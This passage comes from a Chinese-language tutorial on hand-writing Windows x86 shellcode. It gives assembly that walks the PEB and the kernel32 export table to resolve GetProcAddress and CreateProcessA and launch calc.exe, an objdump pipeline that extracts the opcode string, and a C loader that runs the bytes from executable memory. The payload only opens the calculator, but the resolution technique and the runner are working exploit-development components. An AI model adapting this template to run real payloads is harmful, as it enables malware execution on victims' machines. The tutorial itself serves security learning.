cmp [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ptr ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

}
return 0;
}

发现运行正常:

shellcode

开始提取shellcode。先看下编写的汇编程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
	global _start

section .text
_start:

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp dword [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp dword [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
cmp dword [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

和之前的内联汇编略有不同,内存寻址的时候不需要加ptrcmp比较的时候需要指定类型。编译的时候既可以选择elf32也可以选择win32。得到的shellcode略有不同,但都是能够执行成功的。来看一下。

编译为elf32

shellcode

提取shellcode

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d get_calc_shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0

编译为win32

shellcode

提取shellcode

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d get_calc_shellcode.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00"

发现编译成win32之后,提取出来的shellcode包含\x00截断字符,在后续的验证程序中,截断字符及后面的字符可以保留也可以删掉,不影响弹计算器。

最后的执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <windows.h>

int main()
{

//char* shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0";
char* shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff"; //\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00";
printf("shellcode length: %i", strlen(shellcode));

LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, strlen(shellcode));

((void(*)())lpAlloc)();

return 0;
}

最终,执行成功:

shellcode

参考:

1.https://www.cnblogs.com/bokernb/p/6404795.html

2.https://xz.aliyun.com/t/10478#toc-6

3.https://www.linkedin.com/pulse/how-write-windows-shellcode-beginners-part-2-abdel-harbi/?trk=mp-author-card

4.https://tech-zealots.com/malware-analysis/pe-portable-executable-structure-malware-analysis-part-2/

5.https://medium.com/ax1al/a-brief-introduction-to-pe-format-6052914cc8dd

6.https://resources.infosecinstitute.com/topic/the-export-directory/

7.https://blog.kowalczyk.info/articles/pefileformat.html

8.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-1-Locating-the-kernelbase-address/#

9.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-2-Locate-the-Export-Directory-Table/#

10.https://www.linkedin.com/pulse/write-windows-shellcode-beginners-part-3-final-abdel-harbi/

11.https://h0mbre.github.io/Babys-First-Shellcode/#

12.https://blackcloud.me/Win32-shellcode-2/